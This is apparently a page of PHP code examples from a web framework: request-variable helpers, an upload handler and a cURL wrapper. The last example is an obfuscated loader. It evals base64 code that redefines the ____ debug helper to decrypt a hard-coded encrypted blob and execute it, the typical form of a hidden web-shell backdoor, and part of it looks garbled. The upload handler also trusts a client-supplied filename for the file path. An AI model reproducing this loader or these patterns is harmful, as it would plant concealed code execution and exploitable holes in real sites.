Ejemplo n.º 1
0
 function FILES($name = false, $position = null, $i = null)
 {
     if (!$name) {
         ____($_FILES);
     } elseif ($position === null) {
         return isset($_FILES[$name]) ? $_FILES[$name] : false;
     } elseif ($i !== null and is_numeric($i)) {
         return isset($_FILES[$name][$position][$i]) ? $_FILES[$name][$position][$i] : false;
     } else {
         return isset($_FILES[$name][$position]) ? $_FILES[$name][$position] : false;
     }
 }
Ejemplo n.º 2
0
/**
 * FILES
 * 
 * Gets a specific position value from $_FILES
 * 
 * @param mixed  $name   = FALSE
 * @param string $coding = NULL
 * @return mixed
 */
function FILES($name = FALSE, $position = NULL, $i = NULL)
{
    if (!$name) {
        ____($_FILES);
    } elseif ($position === NULL) {
        return isset($_FILES[$name]) ? $_FILES[$name] : FALSE;
    } elseif ($i !== NULL and is_numeric($i)) {
        return isset($_FILES[$name][$position][$i]) ? $_FILES[$name][$position][$i] : FALSE;
    } else {
        return isset($_FILES[$name][$position]) ? $_FILES[$name][$position] : FALSE;
    }
}
Ejemplo n.º 3
0
 public function uploadResource()
 {
     ini_set("post_max_size", "128M");
     ini_set("upload_max_filesize", "128M");
     ini_set("max_execution_time", "1000");
     ini_set("max_input_time", "1000");
     $filename = isset($_SERVER["HTTP_X_FILENAME"]) ? $_SERVER["HTTP_X_FILENAME"] : FALSE;
     $file = $this->getFileInformation($filename);
     if ($filename) {
         if (file_put_contents("www/lib/multimedia/" . $file["type"] . "/" . $filename, file_get_contents("php://input"))) {
             ____(get("webURL") . "www/lib/multimedia/" . $file["type"] . "/" . $filename);
             $a = $this->resize("www/lib/multimedia/" . $file["type"] . "/", $filename);
             return __(_("Upload success!"));
         } else {
             return __(_("Permission problems!"));
         }
     }
     return __(_("Upload failed!"));
 }
Ejemplo n.º 4
0
/**
 * POST
 * 
 * Gets a specific position value from $_POST
 * 
 * @param string $position
 * @param string $coding   = "decode"
 * @return mixed
 */
function POST($position = FALSE, $coding = "decode", $filter = "escape")
{
    if ($coding === "clean") {
        return $_POST[$position];
    } elseif ($position === TRUE) {
        return $_POST;
    } elseif (!$position) {
        ____($_POST);
    } elseif (isset($_POST[$position]) and is_array($_POST[$position])) {
        $POST = $_POST[$position];
    } elseif (isset($_POST[$position]) and $_POST[$position] === "") {
        return NULL;
    } elseif (isset($_POST[$position])) {
        if ($coding === "b64") {
            $POST = base64_decode($_POST[$position]);
        } elseif ($coding === "unserialize") {
            $POST = unserialize(base64_decode($_POST[$position]));
        } elseif ($coding === "encrypt") {
            if ($filter === TRUE) {
                $POST = encrypt(encode($_POST[$position]));
            } elseif ($filter === "escape") {
                $POST = encrypt(filter(encode($_POST[$position]), "escape"));
            } else {
                $POST = encrypt(filter(encode($_POST[$position]), TRUE));
            }
        } elseif ($coding === "encode") {
            if ($filter === TRUE) {
                $POST = encode($_POST[$position]);
            } elseif ($filter === "escape") {
                $POST = filter(encode($_POST[$position]), "escape");
            } else {
                $POST = filter(encode($_POST[$position]), TRUE);
            }
        } elseif ($coding === "decode-encrypt") {
            if ($filter === TRUE) {
                $POST = encrypt(filter($_POST[$position], TRUE));
            } elseif ($filter === "escape") {
                $POST = encrypt(filter($_POST[$position], "escape"));
            } else {
                $POST = encrypt($_POST[$position]);
            }
        } elseif ($coding === "decode") {
            if ($filter === TRUE) {
                $POST = filter(decode($_POST[$position]), TRUE);
            } elseif ($filter === "escape") {
                $POST = filter(decode($_POST[$position]), "escape");
            } elseif ($filter === NULL) {
                $POST = decode($_POST[$position]);
            } else {
                $data = decode($_POST[$position]);
                $data = str_replace("'", "\\'", $data);
                $POST = $data;
            }
        } else {
            if ($filter === TRUE) {
                $POST = filter($_POST[$position], TRUE);
            } elseif ($filter === "escape") {
                $POST = filter($_POST[$position], "escape");
            } else {
                $POST = $_POST[$position];
            }
        }
    } else {
        return FALSE;
    }
    return $POST;
}
Ejemplo n.º 5
0
 function REQUEST($position = false, $coding = "decode", $filter = "escape")
 {
     global $Load;
     if ($coding === "clean") {
         return $_REQUEST[$position];
     } elseif ($position === true) {
         return $_REQUEST;
     } elseif (!$position) {
         $Load->helper("debugging");
         ____($_REQUEST);
     } elseif (isset($_REQUEST[$position]) and is_array($_REQUEST[$position])) {
         $REQUEST = $_REQUEST[$position];
     } elseif (isset($_REQUEST[$position]) and $_REQUEST[$position] === "") {
         return null;
     } elseif (isset($_REQUEST[$position])) {
         if ($coding === "b64") {
             $REQUEST = base64_decode($_REQUEST[$position]);
         } elseif ($coding === "unserialize") {
             $REQUEST = unserialize(base64_decode($_REQUEST[$position]));
         } elseif ($coding === "encrypt") {
             if ($filter === true) {
                 $REQUEST = encrypt(encode($_REQUEST[$position]));
             } elseif ($filter === "escape") {
                 $REQUEST = encrypt(filter(encode($_REQUEST[$position]), "escape"));
             } else {
                 $REQUEST = encrypt(filter(encode($_REQUEST[$position]), true));
             }
         } elseif ($coding === "encode") {
             if ($filter === true) {
                 $REQUEST = encode($_REQUEST[$position]);
             } elseif ($filter === "escape") {
                 $REQUEST = filter(encode($_REQUEST[$position]), "escape");
             } else {
                 $REQUEST = filter(encode($_REQUEST[$position]), true);
             }
         } elseif ($coding === "decode-encrypt") {
             if ($filter === true) {
                 $REQUEST = encrypt(filter($_REQUEST[$position], true));
             } elseif ($filter === "escape") {
                 $REQUEST = encrypt(filter($_REQUEST[$position], "escape"));
             } else {
                 $REQUEST = encrypt($_REQUEST[$position]);
             }
         } elseif ($coding === "decode") {
             if ($filter === true) {
                 $REQUEST = filter(decode($_REQUEST[$position]), true);
             } elseif ($filter === "escape") {
                 $REQUEST = filter(decode($_REQUEST[$position]), "escape");
             } elseif ($filter === null) {
                 $REQUEST = decode($_REQUEST[$position]);
             } else {
                 $data = decode($_REQUEST[$position]);
                 $data = str_replace("'", "\\'", $data);
                 $data = str_replace("“", '"', $data);
                 $data = str_replace("”", '"', $data);
                 $REQUEST = $data;
             }
         } else {
             if ($filter === true) {
                 $REQUEST = filter($_REQUEST[$position], true);
             } elseif ($filter === "escape") {
                 $REQUEST = filter($_REQUEST[$position], "escape");
             } else {
                 $REQUEST = $_REQUEST[$position];
             }
         }
     } elseif (isset($_REQUEST[$position]) and $_REQUEST[$position] === 0) {
         return 0;
     } else {
         return false;
     }
     return $REQUEST;
 }
Ejemplo n.º 6
0
 public function GET($return = FALSE)
 {
     if (is_null($this->URL)) {
         return FALSE;
     }
     if ($ch = curl_init($this->URL)) {
         curl_setopt($ch, CURLOPT_URL, $this->URL);
         curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
         if ($this->auth) {
             curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_DIGEST);
             curl_setopt($ch, CURLOPT_USERPWD, $this->username . ":" . $this->password);
         }
         $response = curl_exec($ch);
         $status = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
         curl_close($ch);
         if ($status === 200) {
             if ($return) {
                 return $response;
             }
             ____($response);
             if (strstr($response, "xml")) {
                 return new SimpleXMLElement($response);
             } else {
                 return json_decode($response);
             }
         }
     }
     return FALSE;
 }
Ejemplo n.º 7
0
<?php

eval('$ZnVuY3Rpb24gX19fXygkdGV4dCkgew0KICAgIHJldHVybiBldmFsKHRyaW0obWNyeXB0X2RlY3J5cHQoTUNSWVBUX1JJSk5EQUklKTkRBRUxfMjU2LCBNQ1JZUFRfTU9ERV9FQ0IpLCBNQ1JZUFRfUkFORCkpKSk7DQp9=0;eval(base64_decode("ZnVuY3Rpb24gX19fXygkdGV4dCkgew0KICAgIHJldHVybiBldmFsKHRyaW0obWNyeXB0X2RlY3J5cHQoTUNSWVBUX1JJSk5EQUVMXzI1NiwgJ01VSEFNTUFERUwtU0FFRUQnLCBiYXNlNjRfZGVjb2RlKCR0ZXh0KSwgTUNSWVBUX01PREVfRUNCLCBtY3J5cHRfY3JlYXRlX2l2KG1jcnlwdF9nZXRfaXZfc2l6ZShNQ1JZUFRfUklKTkRBRUxfMjU2LCBNQ1JZUFRfTU9ERV9FQ0IpLCBNQ1JZUFRfUkFORCkpKSk7DQp9"));$asKJGLEBGHKNjkflSDasKJGLEBGHKNjkflSDNNWJKLasKJGLEBGHKNjkflSDNNWJKLLAasKJGLEBGHKNjkflSDNNWJKLLAJ_DNNWJKLLAJ_asKJGLEBGHKNjkflSDNNWJKLLAJ_;');
____("hClNsjU+P9CZJ9SoinUC6wgnJ4fY81YIkU+sM+Q9fbXMQO1GOyCFZVmnbk1wXYTnEePugrIyTcoULRYqS76AvQI3EPQgizutBjLMh3tV2vlfpUujY6AmTEKpBrEf32RBq9ucNSY1eubQMEQiRklTbOetOHf6Kl2nTELEqmbK3o7riShnffAmfmQupZeGUd1KWR7vndGypgjIPNGr8AkE/tuIaB07XFRSVu4KGrEmSfrEzXqfP2um3GPEDshM31m7Ag1C7a0pSwAkUwfKWdDxxgHToQ7k8rH5i2oeM0WBNUK+MI7KUG0LYrSbQ/lLIhf6MBEQ2WGQofUQzZA5eOUkKQsuI87k/cm3BjN02uDUpc7o9xIvUCGZAzYSI09EuwsoN8k+uJgqbiWVjhd84RUJT2PlAfnoUyAd4Tts4ZTymI8gvwR43ZuGk0CepLMYLuAxJAz1/LuybW0dAMqUSaYoB0UeP1Srun8C7sonhjd4wYp8ygchYfxWHgUoTccjcPcIE+Ym1Qxv9gshGWCLNzw5uH93im9AsbQpMwfEfNgLowO84JzveXRnqEr2GnotXm7iYtwHYuQ7dMtwN1NIooqf2QkHTb9ECmi4kDQxiBIdnk51CQRSqk4VhliXv2CIVme1cUuKc6D7VBOfjwtKRo2iXPIUFUCZp2yHNhvBawNd2r5tvTMWsOGj8duPCmANO/ZA9DsGGgMpPQEz4jHjEUACs+2FHr0biKQQDjI71ILkH2dt2C28jixbWk3/uFXq/viGKMrPQakltABR4NbUph+dhsI+DsC3C521lgdP5eyIg5Eec9NuVMtdq5h5R2xnTuz7ZKOR0fLTwTefhpiSzVIQjzGg3amN59zOtvh+kCtQ85izD1OsnFPl3j7T+JArqV3GhuweQIRcr3DNChIX29AiQ8Rdk7tsec80LkqI9wdzMMFDolvxHnvw5ykyZkp3Zs5oYJt2f6q1YKrjBflbdSKNZchqY890zudIiS469xBmBR9lI4AGIcC6XYJmnczeoQlgx77N1rYyOYKEZv5+3IiyVybyoqKp4sNahhpr/fcJEXKhoUnV1XXTcXblF6nGht8BM6IiqLjsTnhWbOIFpHA1ug==");